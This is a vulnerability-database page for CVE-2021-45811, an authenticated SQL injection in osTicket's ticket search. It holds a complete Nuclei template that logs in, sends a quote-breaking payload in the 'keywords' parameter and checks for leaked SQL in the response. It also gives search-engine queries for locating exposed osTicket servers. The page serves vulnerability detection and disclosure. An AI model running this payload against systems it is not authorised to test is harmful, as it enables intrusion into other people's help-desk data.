CVE-2021-45811: osTicket 1.15.x - SQL Injection

日期: 2025-08-01 | 影响软件: osTicket | POC: 已公开

漏洞描述

A SQL injection vulnerability in the "Search" functionality of "tickets.php" page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the "keywords" and "topic_id" URL parameters combination.

PoC代码[已公开]

id: CVE-2021-45811

info:
  name: osTicket 1.15.x - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in the "Search" functionality of "tickets.php" page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the "keywords" and "topic_id" URL parameters combination.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://members.backbox.org/osticket-sql-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45811
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-45811
    cwe-id: CWE-89
    epss-score: 0.58195
    epss-percentile: 0.98131
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2021,osticket,sqli,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2, "FROM (SELECT", "topic_id_val\'\' IN NATURAL", "ORDER BY relevance")
# digest: 4b0a00483046022100f7ba0ec308cd68f6364631e93c769e042982709ab69930c1865da08c7b703693022100f3fc8b211e8d27d15dacd40def37e31e8a07e6e435c92d6966b00b0e5e524aa6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐